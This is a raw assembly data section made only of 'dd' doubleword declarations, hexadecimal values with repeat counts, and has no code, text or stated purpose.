dd 0E203E204h, 103A303h, 0E0041A04h, 42003h, 2003C104h
dd 40004h, 0A3040004h, 1042003h, 3E004h, 0E003E004h, 1040003h
dd 20042004h, 2 dup(40004h), 20042004h, 0E0040004h, 40003h
dd 3F040004h, 40004h, 45D04h, 5 dup(40004h), 20040004h
dd 40004h, 42004h, 20040004h, 8 dup(40004h), 3E004h, 2Ah dup(40004h)
dd 42004h, 2Ah dup(40004h), 2B047B04h, 0B1049B03h, 0A033503h
dd 65040A06h, 0EC04D505h, 5804A603h, 2B03D305h, 7602E605h
dd 8A051E04h, 0D9051603h, 0C7048C03h, 0F4059603h, 44F02h
dd 2038604h, 0E0045D05h, 5B03C603h, 0EA039604h, 0A1043E04h
dd 0E8049804h, 43047604h, 0BD043204h, 7603FC03h, 0FE04C903h
dd 5503C103h, 0A704A604h, 0FF03FF03h, 0C103A303h, 6D03A903h
dd 1E040104h, 20040004h, 3D043F04h, 0D03E604h, 0B104B104h
dd 1404AF04h, 0CB04E405h, 8A045D04h, 13040204h, 8C03AF05h
dd 0E3040204h, 303E203h, 0F0047A04h, 0C4048C04h, 0C6038B03h
dd 23047403h, 9045603h, 1304CC05h, 7A054303h, 21047A04h
dd 8A043F04h, 2004CB03h, 20043F04h, 3F042004h, 20040104h
dd 2003E204h, 20043F04h, 92038604h, 20038603h, 3F042004h
dd 42004h, 20040004h, 0FF040004h, 0C5040003h, 8603E003h
dd 2103E003h, 36A04h, 0B1040004h, 0C9040004h, 41041F04h
dd 0FC043F05h, 9603E004h, 7A040004h, 0FC042004h, 0E2047A04h
dd 2E03E103h, 0C503E105h, 3E03A303h, 3F03DF04h, 103C104h
dd 20045D04h, 2003FF04h, 7403E204h, 4103FF04h, 1042004h
dd 7A03E004h, 5B040104h, 3F03EB04h, 20038604h, 8E042004h
dd 0F5034B03h, 67048E04h, 66047A04h, 76039404h, 46033204h
dd 7A03C204h, 1F040004h, 5D03E004h, 103A304h, 0A9040004h
dd 0E602EC03h, 20040003h, 1F040004h, 20042004h, 20040004h
dd 0FF040004h, 20040003h, 20042004h, 20040004h, 2003C104h
dd 1040004h, 20040004h, 40004h, 0C1043D04h, 3C103h, 20043E04h
dd 0E0040004h, 0FF040003h, 20040003h, 2 dup(40004h), 20040004h
dd 40004h, 20040004h
dd 3E004h, 20040004h, 0E003A304h, 3C103h, 3F043F04h, 3A304h
dd 9071004h, 9504E407h, 0FC050006h, 83040003h, 1E03C303h
dd 5D051304h, 43F04h, 86040004h, 20041303h, 0FF049604h
dd 0D904B103h, 103E003h, 40004h, 42004h, 40004h, 42004h
dd 4F03C104h, 3E003h, 96040004h, 0E003C104h, 8603E003h
dd 40003h, 3C504h, 20040004h, 6 dup(40004h), 0E0040004h
dd 40003h, 5 dup(40004h), 0E3040004h, 40003h, 5 dup(40004h)
dd 41E04h, 3C104h, 40004h, 0E0040004h, 40003h, 1Ah dup(40004h)
dd 0C1040004h, 40003h, 0Bh dup(40004h), 0E0040004h, 40003h
dd 26h dup(40004h), 7A04F604h, 0AC040102h, 6A018C02h, 9B03E003h
dd 8C03B202h, 55603h, 3E204h, 0A303E004h, 40103h, 0E003C104h
dd 8B040003h, 0E0040003h, 1040003h, 42004h, 2 dup(40004h)
dd 2 dup(20042004h), 2 dup(40004h), 3F040004h, 20040004h
dd 2003E104h, 40004h, 42004h, 40004h, 20042004h, 11h dup(40004h)
dd 20040004h, 2Bh dup(40004h), 20040004h, 27h dup(40004h)
dd 0C9033504h, 0B9025F03h, 7B035103h, 0D6058205h, 6B028604h
dd 5D044903h, 0AE03E405h, 0EE01E104h, 94039005h, 8E053604h
dd 1903A704h, 0D103B903h, 0A4036A03h, 0E7038C03h, 0E003B804h
dd 0CA03CE03h, 103E104h, 5403C904h, 9D039B04h, 204BB04h
dd 5003E004h, 5B040104h, 86054504h, 58040203h, 2004B504h
dd 0E0043B04h, 0E003FF03h, 0F703A903h, 2D04A804h, 4CC04h
dd 0AA042004h, 0F6038C03h, 0E0046E04h, 1043F03h, 5D043F04h
dd 0D5045C04h, 0FE047004h, 20037403h, 0C5043E04h, 7A043F04h
dd 20047A04h, 87043F04h, 72045D03h, 3C043E04h, 0E7042004h
dd 0E2043F03h, 5304CB03h, 94040004h, 0EC040104h, 20045D02h
dd 3F040004h, 3FF04h, 3F03E004h, 40104h, 0E003E004h, 0A8043F03h
dd 74035F04h, 0C203C504h, 0D503C303h, 38602h, 0E0040004h
dd 86040003h, 0C3031C03h, 21032703h, 4040104h, 43F04h
dd 3F03E004h, 20040004h, 3F042004h, 20040004h, 0C3040004h
dd 1403E003h, 3F040105h, 103C104h, 1040104h, 49049204h
dd 67045C04h, 0AC03E003h, 5D040104h, 0FF042004h, 0C1040003h
dd 20040003h, 0C1040004h, 20040003h, 0E2036A04h, 1E040003h
dd 86042004h, 86040103h, 0C1043F03h, 0CB03E003h, 0FF04E404h
dd 20040003h, 0DE040104h, 96040003h, 0E2040104h, 0FE041E03h
dd 0C103E003h, 3C103h, 0A3031E04h, 20040003h, 40004h, 1F040004h
dd 0E0042004h, 42003h, 40004h, 1042004h, 20040004h, 3E004h
dd 40004h, 3E004h, 0E2042004h, 0D5042003h, 1037404h, 86047504h
dd 2003E003h, 1042004h, 20047A04h, 45D04h, 2D504h, 38604h
dd 2 dup(40004h), 3E004h, 40004h, 38604h, 0FF046E04h, 20038603h
dd 34104h, 45060C04h, 0A303A305h, 3C103h, 41E04h, 42004h
dd 3E004h, 57040004h, 2 dup(40004h), 56204h, 40004h, 42004h
dd 40004h, 7A040004h, 40004h, 42004h, 2 dup(40004h), 0A903E004h
dd 8 dup(40004h), 0A3040004h, 40003h, 40004h, 0E0040004h
dd 40003h, 5 dup(40004h), 0E1040004h, 42003h, 7 dup(40004h)
dd 42004h, 1Ch dup(40004h), 0E0040004h, 3E003h, 0Fh dup(40004h)
dd 0E0040004h, 40003h, 22h dup(40004h), 0E602BD04h, 7102A703h
dd 3C102h, 47604h, 24804h, 3E004h, 40004h, 3E004h, 0E0040004h
dd 43F03h, 8 dup(40004h), 5C040004h, 3 dup(40004h), 0E0040004h
dd 40003h, 3 dup(40004h), 20040004h, 9 dup(40004h), 20040004h
dd 26h dup(40004h), 20042004h, 33h dup(40004h), 9504AC04h
dd 0D802CB04h, 4A054105h, 63023B04h, 23037905h, 7D03C304h
dd 3A031905h, 6E03D203h, 0B045704h, 0A803A205h, 0AD057F04h
dd 0C304A003h, 3A043F03h, 0D003FE04h, 8E032703h, 0A6041403h
dd 0F5041803h, 0B903D703h, 0BD042004h, 0F504F904h, 0EF02B603h
dd 2903A903h, 5C03BF04h, 0FC036A03h, 0E1049404h, 3F03E003h
dd 1B03FF04h, 2003B104h, 0E203A904h, 0A6044703h, 4A046F03h
dd 0DC03FB04h, 0A904E504h, 21052104h, 3B049404h, 0D704B104h
dd 0FF045D04h, 6C03E003h, 6703FF04h, 3203FF03h, 9F050804h
dd 77047904h, 0E403F103h, 84054104h, 0A5048C04h, 0E0036F04h
dd 0E0050B03h, 22038E03h, 88040004h, 20045D03h, 3FF04h
dd 0C203E004h, 0A303FF03h, 1E043F03h, 2003C204h, 1E03C304h
dd 0FF043F04h, 2003E603h, 0E3045D04h, 0CA047A04h, 12054104h
dd 9904EC04h, 0B053005h, 0F704F905h, 2B03C103h, 0C503E205h
dd 0A03A304h, 7A03E005h, 3A045D04h, 5D03E004h, 78042004h
dd 0FC040004h, 1F03E004h, 20040004h, 3E004h, 3D03E004h
dd 2003FE04h, 5D03FF04h, 0E0037304h, 0C5042003h, 46042303h
dd 0AF043F03h, 0DD03A303h, 0A103F603h, 4604B804h, 0C003C205h
dd 4C040003h, 6C040003h, 0C403C103h, 0B1042003h, 1F042003h
dd 3F043F04h, 1E03E004h, 3E004h, 20042004h, 1E03E104h
dd 38604h, 0C1040004h, 0A303C403h, 20040003h, 0E0040004h
dd 42003h, 40004h, 0E003E004h, 1041F03h, 3FF04h, 103E104h
dd 1F040004h, 0E0043F04h, 3F045D03h, 3F042004h, 3F043F04h
dd 3F03E004h, 20040004h, 2 dup(3F03E004h), 7A042004h, 5803E004h
dd 96042004h, 0FC042004h, 41043F04h, 0FC040005h, 2B037604h
dd 0CA043F05h, 6B043F05h, 6203FF05h, 5603A505h, 38E05h
dd 1E056C04h, 33049F06h, 0E0051405h, 38038503h, 7A042005h
dd 40004h, 0E0049604h, 0AF037303h, 0E0040003h, 0C1048003h
dd 43F03h, 43F04h, 1E040004h, 3E004h, 7A03FF04h, 5D03D704h
dd 3A304h, 40004h, 3B040004h, 43F04h, 3F040004h, 40004h
dd 0FF040004h, 40003h, 4 dup(40004h), 0E0040004h, 0E0040003h
dd 8603A303h, 20033503h, 5 dup(40004h), 0C1040004h, 103FF03h
dd 2 dup(40004h), 0E0040004h, 40003h, 9 dup(40004h), 3E004h
dd 0Ah dup(40004h), 0E0041F04h, 40003h, 0Bh dup(40004h)
dd 0E003E004h, 0E003E003h, 40003h, 5 dup(40004h), 3E004h
dd 7 dup(40004h), 3E004h, 21h dup(40004h), 0E0040004h
dd 3E003h, 81004204h, 0BF00B402h, 7203E102h, 15103h, 0C502BF04h
dd 3E203h, 0C103E004h, 0A4026403h, 40003h, 3F03E204h, 43F04h
dd 40004h, 0FF040004h, 40003h, 6A040004h, 2A203h, 42004h
dd 40004h, 0A3040004h, 40003h, 5 dup(40004h), 0C1040004h
dd 42003h, 2 dup(40004h), 5D040004h, 5D043F04h, 103E404h
dd 5 dup(40004h), 0E0040004h, 3E003h, 2 dup(40004h), 0E0040004h
dd 40003h, 2 dup(40004h), 0E0040004h, 40003h, 5 dup(40004h)
dd 42004h, 0Ah dup(40004h), 3E204h, 42004h, 3Dh dup(40004h)
dd 20040004h, 42004h, 8D055C04h, 38054501h, 3F05C004h
dd 88032705h, 6F02D505h, 9F055400h, 2302A206h, 61033904h
dd 0E303C203h, 93044403h, 1506E404h, 9D051C01h, 0CB03FF01h
dd 0AD031204h, 0B303FD04h, 1902E803h, 1F032A04h, 72039A04h
dd 57041404h, 0F604A705h, 0B6030503h, 0C1036003h, 26073C03h
dd 0E403C403h, 0E105D304h, 57042003h, 72040004h, 94035E04h
dd 3E041E04h, 0A4041F04h, 1E04BF03h, 90026304h, 7A047804h
dd 0FF040104h, 0E0047A03h, 4F049503h, 14047A04h, 0D5040604h
dd 9E03E002h, 3B049603h, 0BA052C04h, 0FE03BB04h, 8B00E403h
dd 0FE034804h, 4D046803h, 3503C105h, 1F057F03h, 1045704h
dd 0C0040004h, 0E004FC02h, 3F040103h, 0E2042004h, 40103h
dd 20040004h, 1F042004h, 0A502D504h, 3F03C103h, 7A042004h
dd 5D043F04h, 7A043F04h, 0CF047904h, 1E042003h, 2003C104h
dd 74036B04h, 9603E004h, 0B1042004h, 5D043F04h, 3F033504h
dd 1040104h, 20040004h, 7603C104h, 96042004h, 0FF03C104h
dd 0C2040003h, 5D03A303h, 3F03E204h, 2AA04h, 0E203E004h
dd 0E303A303h, 0D5040003h, 9A034F03h, 43041F03h, 0E003C103h
dd 7803E403h, 32021D05h, 0EC047704h, 4F038602h, 0A3043803h
dd 8E03A303h, 0A6043F03h, 5CA06h, 3C104h, 6044F04h, 1040004h
dd 0C3042004h, 3D042003h, 38604h, 12040004h, 4021803h
dd 40003h, 0E003E004h, 0C103E003h, 20040003h, 1040004h
dd 0E003A304h, 42003h, 40004h, 20040004h, 20043F04h, 5D040004h
dd 3C104h, 1045B04h, 3E204h, 0FF03C104h, 20040003h, 3E040004h
dd 1040004h, 5D040004h, 3F040004h, 7A040004h, 96040004h
dd 0E203E004h, 20036A03h, 3F040004h, 3E004h, 2003C104h
dd 7A040004h, 2BF04h, 3E068A04h, 95047404h, 7605BE04h
dd 21038604h, 1A043B04h, 96043F04h, 40004h, 45D04h, 0FF042004h
dd 1E040003h, 58B04h, 0A3045D04h, 40003h, 40004h, 5D040004h
dd 40004h, 0E0040004h, 0E0040003h, 40003h, 3E004h, 8D042004h
dd 40003h, 43F04h, 40004h, 43F04h, 4 dup(40004h), 0E0040004h
dd 40003h, 9 dup(40004h), 20040104h, 1040004h, 4 dup(40004h)
dd 45D04h, 40004h, 0E0040004h, 40003h, 1Eh dup(40004h)
dd 0E0040004h, 40003h, 40004h, 0E0040004h, 40003h, 3A304h
dd 2Ah dup(40004h), 1B040204h, 1E02C101h, 3E804h, 0E003A904h
dd 8703E003h, 3A302h, 0E0040004h, 0E2040103h, 0E0040003h
dd 3D03E003h, 0C103C104h, 0C1040003h, 40003h, 40004h, 20042004h
dd 3E004h, 43F04h, 40004h, 42004h, 0C1040004h, 1B040003h
dd 3FF04h, 0A3040004h, 40003h, 5 dup(40004h), 3F040004h
dd 40004h, 3E004h, 0Ah dup(40004h), 3C504h, 42004h, 3F040004h
dd 3 dup(40004h), 20040004h, 0Eh dup(40004h), 3E004h, 11h dup(40004h)
dd 20040004h, 0Ah dup(40004h), 5D040004h, 22h dup(40004h)
dd 42004h, 0E047C04h, 0B3040405h, 0C103B505h, 9C037803h
dd 5203C205h, 20040504h, 73043805h, 0A702EF04h, 8E046406h
dd 0D3037103h, 0E0038503h, 0F904AC03h, 0B903A602h, 0AA03A303h
dd 10030403h, 0F1039104h, 0B504F005h, 88049E04h, 0E7034105h
dd 0E1045204h, 0AA04CE03h, 303FE04h, 0A9032204h, 9E04B005h
dd 0E105B104h, 0B4043D03h, 60045A04h, 4B04B404h, 5D043904h
dd 49041D04h, 1E046E04h, 0BC030904h, 99050404h, 0E6047A04h
dd 91045704h, 4E043C04h, 17044306h, 2503A605h, 7B043A04h
dd 8C044504h, 0EB04B804h, 0C3049604h, 88047904h, 0F048504h
dd 43053005h, 0C4036505h, 9806CB02h, 7D04F505h, 0C2045904h
dd 7A045D03h, 1A049604h, 0BD049604h, 0DE047A04h, 0CB04CB04h
dd 2B045D04h, 14047A05h, 2B049505h, 9604E405h, 0FC043F04h
dd 9204AD04h, 0CB047A04h, 78045D04h, 3D045B04h, 2003FA04h
dd 77047504h, 0B803F805h, 1E045C04h, 7F03E004h, 0CB03E105h
dd 0BF041E04h, 3B042004h, 0F1043F04h, 96042005h, 3803A304h
dd 5D03E004h, 3F04FF04h, 3D03E604h, 8E03C104h, 96041804h
dd 7003FF04h, 91041F04h, 0CB043F04h, 5703C104h, 14040004h
dd 9603E205h, 0A9042004h, 96041E04h, 0F4043E04h, 0AF029802h
dd 0B3041603h, 9F040C03h, 0F1044804h, 0F504C605h, 23041A05h
dd 14047A04h, 0B1042005h, 3E03C304h, 3F03E004h, 3B031A04h
dd 7A03E004h, 96040004h, 7A040004h, 96041E04h, 1E040004h
dd 7A03C104h, 0FC040004h, 0CB03E004h, 94040004h, 5D040004h
dd 0FC040004h, 7A040004h, 14040004h, 0B1040005h, 0BF03E004h
dd 0AD040004h, 96040004h, 3F040004h, 0FC040004h, 0CB040004h
dd 0B1042004h, 7A042004h, 0CB040004h, 5D040004h, 72040004h
dd 96040104h, 7A040104h, 0C5043F04h, 37804h, 0E8063D04h
dd 0E304BC05h, 0E704D804h, 0EB047904h, 3C047804h, 4F043904h
dd 0E2040004h, 0A603C103h, 0C2045904h, 20042003h, 603E004h
dd 0E0045B04h, 3E003h, 42004h, 40004h, 3F03E004h, 0FF040004h
dd 2 dup(0E0040003h), 40003h, 40004h, 3E004h, 0C1040004h
dd 40003h, 42004h, 6 dup(40004h), 0FF03E004h, 43F03h, 0Bh dup(40004h)
dd 40104h, 3E004h, 2 dup(40004h), 20040004h, 0Eh dup(40004h)
dd 0E0040004h, 0C1040003h, 40003h, 16h dup(40004h), 0E0040004h
dd 40003h, 25h dup(40004h), 3E004h, 0AF029204h, 0CE039902h
dd 3A022303h, 0EC03FC04h, 0C7040603h, 0E2045303h, 5D041F03h
dd 1E03A304h, 20042004h, 7A040104h, 20041F04h, 5703E004h
dd 42004h, 20040004h, 40004h, 0C103C104h, 1042003h, 2 dup(40004h)
dd 20042004h, 40004h, 1040004h, 3F03A304h, 42004h, 2 dup(40004h)
dd 20040004h, 4 dup(40004h), 3F03E004h, 40004h, 20040004h
dd 42004h, 0Ah dup(40004h), 43F04h, 11h dup(40004h), 3E004h
dd 21h dup(40004h), 20040004h, 1Eh dup(40004h), 2D065404h
dd 3301F107h, 92042A06h, 7C032704h, 7803F305h, 0C004E704h
dd 40040304h, 0B3034503h, 55054D03h, 9C043005h, 14036E04h
dd 45060504h, 1E042104h, 9E045B04h, 0F4033203h, 0A9047303h
dd 0D204A602h, 1A045B03h, 5303EF05h, 9B050C05h, 70033B04h
dd 4C037D04h, 8D050A03h, 9004D804h, 20045B03h, 1E03C104h
dd 3B040104h, 7A03E004h, 20036E04h, 88035404h, 0C1038B03h
dd 0B1035D03h, 2003C303h, 8804E105h, 6603EA04h, 0F7041604h
dd 95043204h, 26038704h, 0A2043F04h, 4F041D03h, 5D043C04h
dd 3C904h, 72038604h, 0B7043A04h, 9205BD04h, 4202AE05h
dd 0C9050B03h, 3F03E004h, 0C2043904h, 0C1042003h, 3E003h
dd 0FF03C104h, 2003E003h, 1E03E004h, 42004h, 3F03E004h
dd 0FF040004h, 5D047A03h, 7A045D04h, 3B049F04h, 2046A04h
dd 9604B004h, 96049E04h, 3A051F04h, 0C2039104h, 58034303h
dd 19046705h, 0A503E305h, 0D8045E04h, 31043C04h, 2D03A404h
dd 0F6040104h, 55042604h, 90036B04h, 0E1045D03h, 63046A03h
dd 0E4040603h, 0FA03E103h, 0C304BD03h, 0A703E103h, 1E03DE04h
dd 20045D04h, 2040004h, 3E03C504h, 43F04h, 0A403C204h
dd 72042003h, 5D03A704h, 0FE037A02h, 97044501h, 9D047A02h
dd 0F5028104h, 0B1035404h, 8A045A04h, 0E003FF03h, 3F03C103h
dd 0C5040004h, 0E0040103h, 2003E103h, 40004h, 43F04h, 3E004h
dd 40004h, 0E0040104h, 42003h, 2003E004h, 40004h, 3F042004h
dd 20042004h, 2 dup(40004h), 0E003E004h, 42003h, 0E0040004h
dd 5D03E003h, 5D03E004h, 5D040004h, 7A040004h, 76040004h
dd 5D043F04h, 7203E004h
dd 103C104h, 9403C104h, 8E042004h, 0FC043F04h, 5D045D04h
dd 0D040004h, 3E005h, 0B5075004h, 8603E206h, 47606h, 8803FD04h
dd 1F044F05h, 40204h, 3F040004h, 0C5042004h, 1041F03h
dd 3F043F04h, 0FE040004h, 3FF03h, 2 dup(40004h), 20042004h
dd 0C103FF04h, 0E0036A03h, 0A3042003h, 0C1040003h, 40003h
dd 2 dup(40004h), 0E0040004h, 40003h, 4 dup(40004h), 0E0040004h
dd 40003h, 0E0040004h, 3A303h, 60h dup(40004h), 9902DA04h
dd 0BE01F404h, 2002AE03h, 0A1032804h, 1048604h, 43D04h
dd 0E0040004h, 0E6036603h, 3E003h, 42004h, 3F042004h, 42004h
dd 40004h, 1040004h, 40004h, 0FF03E704h, 1045D03h, 42004h
dd 40004h, 3F040004h, 40004h, 3F040004h, 20042004h, 5 dup(40004h)
dd 42004h, 20040004h, 40004h, 2 dup(42004h), 40004h, 2003E004h
dd 22h dup(40004h), 42004h, 3Ah dup(40004h), 35041C04h
dd 0C401D703h, 0FF046C04h, 21049604h, 8702B305h, 69028305h
dd 56027405h, 5F01DF05h, 0F703CE05h, 0BC042E04h, 0AE048A04h
dd 403AB04h, 9602F105h, 7E032604h, 2F02AF05h, 94033403h
dd 45040E03h, 0E9037104h, 8704EE03h, 202C002h, 26030702h
dd 0D402A403h, 31046702h, 0F025902h, 3B035002h, 0C1032F03h
dd 0A9037503h, 3B02D803h, 2004D504h, 26052704h, 88045304h
dd 0A604AC04h, 0E3040105h, 8E048704h, 5D049104h, 7C050404h
dd 16051F04h, 96045D04h, 37055104h, 3057D04h, 0F059204h
dd 0C8050005h, 0B104A904h, 5B04F504h, 3D04C404h, 78047004h
dd 16058304h, 1905C404h, 38066104h, 1F05A404h, 4F047204h
dd 0C9053104h, 2004FA03h, 0A503A304h, 0FC04A104h, 7304D404h
dd 9303DB03h, 0A604A505h, 903FF03h, 8E03FF05h, 66043D04h
dd 8304F704h, 48041205h, 3F030A05h, 4103FF04h, 0E204CB05h
dd 51040104h, 6C03FF04h, 19040204h, 21043F04h, 0CC040104h
dd 0AF03FF03h, 5D041F04h, 7203E003h, 1E03DF04h, 96040004h
dd 0C4040004h, 0C503C103h, 4C043D03h, 0B103FF03h, 40038E04h
dd 7E048902h, 2F03E004h, 30049603h, 29041E04h, 40304h
dd 45040004h, 0C2038603h, 1503E003h, 7A043D03h, 7403C204h
dd 9603FF04h, 0F5042004h, 0A703E402h, 8A03FE03h, 95041A02h
dd 0F103C704h, 58043F02h, 9F041A04h, 3F042002h, 0DF042004h
dd 0FF045D03h, 0AF03E003h, 1F042003h, 96042004h, 3F03E003h
dd 3F03E004h, 0E0045904h, 0E6042003h, 0D903E003h, 0ED042004h
dd 38042002h, 4A03AE05h, 6004B405h, 94040004h, 3F042004h
dd 1E041C04h, 5D03E204h, 3F042105h, 72043E04h, 7A042004h
dd 0CB043F04h, 1403CB04h, 2C03E005h, 8C03FF05h, 4D04B104h
dd 5C042005h, 3A904h, 6B051C04h, 65055F04h, 5A04E804h
dd 0FE03F004h, 1403FE03h, 1F03FF04h, 4F03FF04h, 0FF03AD04h
dd 0E0043F03h, 0FF03E003h, 3FF03h, 0FF03E004h, 40003h
dd 3F040004h, 3E004h, 0E0033504h, 3F040003h, 3E004h, 0E003E004h
dd 40003h, 0E0040004h, 40003h, 3A304h, 3E004h, 3 dup(40004h)
dd 20040004h, 3E004h, 40004h, 42004h, 3E204h, 40004h, 0E0040004h
dd 40003h, 5 dup(40004h), 43F04h, 7 dup(40004h), 42004h
dd 7 dup(40004h), 3E004h, 3 dup(40004h), 0E0040004h, 40003h
dd 6 dup(40004h), 3E004h, 0Bh dup(40004h), 0E0040004h
dd 40003h, 2Eh dup(40004h), 34021404h, 74017702h, 0F703BB03h
dd 0C102E203h, 0A303A303h, 3B03C103h, 0C1041F04h, 30903h
dd 0E003E004h, 3F040003h, 0A303FF04h, 40103h, 1F042004h
dd 1E040104h, 1042004h, 41E04h, 3 dup(40004h), 0A3040004h
dd 40003h, 42004h, 40004h, 1040004h, 2 dup(40004h), 42004h
dd 0E0042004h, 40003h, 4 dup(40004h), 0E0040004h, 40003h
dd 5 dup(40004h), 42004h, 0Eh dup(40004h), 20040004h, 6 dup(40004h)
dd 20040004h, 11h dup(40004h), 20040004h, 0Fh dup(40004h)
dd 20040004h, 1Fh dup(40004h), 9504A304h, 0F0039503h, 0A5047204h
dd 8804C104h, 41038603h, 9A047D04h, 99046004h, 8B03F304h
dd 0A3042004h, 1603D503h, 2B03EE04h, 0A5038603h, 9C03E603h
dd 30041A03h, 3903A704h, 3C038C03h, 0FC03A304h, 0E0040103h
dd 0C3043F03h, 0FD03FF03h, 8B040403h, 0C7048C03h, 0E2049C03h
dd 0DF045C03h, 1F03C303h, 7A040104h, 0A3045304h, 90043F03h
dd 5D03C504h, 0E0040604h, 0E0046E03h, 1D033503h, 45D04h
dd 6A042004h, 5C045703h, 3FF04h, 0A3042004h, 0FF03E003h
dd 1E03A303h, 0C1045D04h, 0FF043D03h, 0FF03FF03h, 3F040203h
dd 1042004h, 0C03C104h, 0C1045D04h, 0C1045D03h, 0C103C103h
dd 0A3041E03h, 3F049603h, 0FF03C204h, 0FF043F03h, 96040003h
dd 3C104h, 3F045D04h, 1B040004h, 3E03FF04h, 20036A04h
dd 1E040004h, 45D04h, 86042004h, 20040103h, 3C104h, 20036C04h
dd 0E203C104h, 40003h, 3F040004h, 3E004h, 3B03E604h, 0FF03E004h
dd 0C1042003h, 43F03h, 20040004h, 40004h, 3E004h, 20042004h
dd 3E004h, 3F045D04h, 5D042004h, 20040004h, 5D041F04h
dd 3F03E004h, 0C103C104h, 20040103h, 20042004h, 0C1042004h
dd 20040103h, 20040004h, 20042004h, 96045D04h, 5D041F04h
dd 40004h, 0E2043F04h, 3F040003h, 2 dup(43F04h), 103FF04h
dd 42004h, 1E041E04h, 5D040004h, 0E003E004h, 20045D03h
dd 3F042004h, 0FF040004h, 43F03h, 0B1040004h, 42004h, 43F04h
dd 5D040004h, 1040004h, 40004h, 7A040004h, 20045D04h, 20043F04h
dd 42004h, 0C1049604h, 42003h, 1040004h, 5D03E004h, 40004h
dd 2 dup(20040004h), 20036A04h, 0E003E004h, 40003h, 3C104h
dd 0E0040004h, 38C03h, 9F054604h, 0FA041703h, 70040103h
dd 43B04h, 0E003E004h, 43B03h, 3F045D04h, 2 dup(3E004h)
dd 42004h, 2 dup(40004h), 45D04h, 20040004h, 8 dup(40004h)
dd 42004h, 40004h, 0C1040004h, 40003h, 12h dup(40004h)
dd 0E0040004h, 40003h, 0Ah dup(40004h), 3E004h, 47h dup(40004h)
dd 0D02EA04h, 0C103A703h, 0A7031C03h, 0A303E003h, 0E003E003h
dd 8A03C303h, 20042003h, 40004h, 40104h, 40004h, 1F042004h
dd 42004h, 0E1043F04h, 0E0040003h, 40003h, 2 dup(40004h)
dd 42004h, 20040004h, 4 dup(40004h), 42004h, 20040004h
dd 40004h, 43F04h, 0E0040004h, 42003h, 63h dup(40004h)
dd 0BC045C04h, 0B6041E04h, 9D042C03h, 96039404h, 73037804h
dd 5104A503h, 20041F04h, 5D03C904h, 8803CB04h, 5C045D03h
dd 0E0039E04h, 0E203E003h, 20038603h, 203C104h, 86041E04h
dd 1803C103h, 0E003A904h, 20043F03h, 8C041E04h, 0FE040204h
dd 0FE042003h, 0FF045A03h, 0E0045C03h, 0E1043F03h, 47A03h
dd 0FF03C204h, 3E003h, 3F03FF04h, 0C1043F04h, 42003h, 0C103FF04h
dd 0FF040103h, 0E0042003h, 20043D03h, 1F03C104h, 0E0042004h
dd 0E0040003h, 8603FF03h, 3F03E003h, 1043F04h, 20043F04h
dd 1F040004h, 5D03C104h, 2 dup(3F043F04h), 3E004h, 3F042004h
dd 0E0040004h, 8603FF03h, 40003h, 20040004h, 0E0042004h
dd 42003h, 3E004h
dd 0E0040004h, 3F042003h, 3F040004h, 40004h, 20043F04h
dd 40004h, 0FF040004h, 3C103h, 0FF03FF04h, 3F03C103h, 0FF03C104h
dd 42003h, 0E0042004h, 2003E003h, 40004h, 103C104h, 2003E004h
dd 40004h, 3E004h, 20040004h, 20043F04h, 20042004h, 42004h
dd 0FF042004h, 1040003h, 20040004h, 3F03E004h, 0E0040004h
dd 40003h, 3F040004h, 42004h, 0FF040104h, 103E003h, 3F040004h
dd 1040004h, 5D040004h, 2 dup(42004h), 20040004h, 1040004h
dd 2 dup(40004h), 2003E004h, 42004h, 3C104h, 2 dup(40004h)
dd 20040004h, 0FF040004h, 3E003h, 2003E004h, 2 dup(40004h)
dd 3E004h, 2 dup(40004h), 20042004h, 3F040004h, 40004h
dd 0C1040004h, 40003h, 40004h, 1040004h, 20040004h, 3 dup(40004h)
dd 0E0040004h, 3C103h, 43F04h, 20040004h, 0E0042004h, 42003h
dd 3FF04h, 1E04A804h, 3F03E004h, 47A04h, 20040004h, 3 dup(40004h)
dd 0E0042004h, 40003h, 40004h, 42004h, 0Ah dup(40004h)
dd 42004h, 8 dup(40004h), 42004h, 0Bh dup(40004h), 20040004h
dd 11h dup(40004h), 0E0040004h, 40003h, 17h dup(40004h)
dd 0E0040004h, 40003h, 29h dup(40004h), 4F043D04h, 3C103h
dd 43F04h, 0E0040104h, 0C3040003h, 40003h, 2 dup(40004h)
dd 42004h, 40004h, 3FF04h, 3 dup(40004h), 0E0040004h, 40003h
dd 4 dup(40004h), 20040004h, 6Bh dup(40004h), 79047704h
dd 7D02B704h, 7D052505h, 0B5032304h, 5C045E04h, 0CD041404h
dd 7203CF04h, 0DE048E04h, 1F050B04h, 0E2045904h, 50043804h
dd 0FE041203h, 0DF043E03h, 0A904A503h, 0EC041E04h, 0C2045903h
dd 0FA040404h, 0E1040103h, 0C203C203h, 8203E003h, 5E047A04h
dd 20041E04h, 35045D04h, 19042004h, 0E2046E04h, 20042003h
dd 5703DF04h, 8A042004h, 3B042004h, 0B303E204h, 96041E03h
dd 0B03C203h, 7A049605h, 78043B04h, 2003FF04h, 1042004h
dd 0E003E204h, 3F045D03h, 45D04h, 23042004h, 3F043D04h
dd 1040004h, 0FF042004h, 20045D03h, 0B1040004h, 7A042004h
dd 7A047A04h, 96049604h, 86045D04h, 20045D03h, 20040104h
dd 3F040004h, 3F042004h, 5D045D04h, 20043F04h, 4F040004h
dd 3F043F04h, 1E042004h, 2003E004h, 5D043F04h, 5B043F04h
dd 1043D04h, 20047604h, 0A003E104h, 0E0043F03h, 7A040003h
dd 1F040004h, 9603E004h, 20042004h, 2003A304h, 2 dup(20040004h)
dd 20042004h, 40104h, 20042004h, 3F040004h, 5D040004h
dd 40004h, 20040004h, 57040004h, 1F047A04h, 5D042004h
dd 42004h, 5D040004h, 103E104h, 103E004h, 20040104h, 0E0040004h
dd 40003h, 0B1040004h, 3F040004h, 3E042004h, 2 dup(7A040004h)
dd 57040004h, 96040004h, 2 dup(20040004h), 1F03DF04h, 2 dup(20040004h)
dd 2003E004h, 40004h, 3F040004h, 20040004h, 3F040004h
dd 5D040004h, 7A040004h, 3F03E004h, 20040004h, 40004h
dd 5B040004h, 3F03C104h, 1040004h, 20040004h, 3F040004h
dd 42004h, 2003E004h, 3F040004h, 5D040004h, 96040004h
dd 7A041E04h, 5D03E004h, 20042004h, 96042004h, 0E003E004h
dd 5D040003h, 3C104h, 3B04DA04h, 0E104C904h, 5D043E03h
dd 20043F04h, 0A3040004h, 3F03C303h, 3F03FF04h, 20043F04h
dd 40004h, 42004h, 40004h, 2003FE04h, 0E0040004h, 0E0040003h
dd 3F040003h, 7 dup(40004h), 0C103E004h, 3C103h, 3E004h
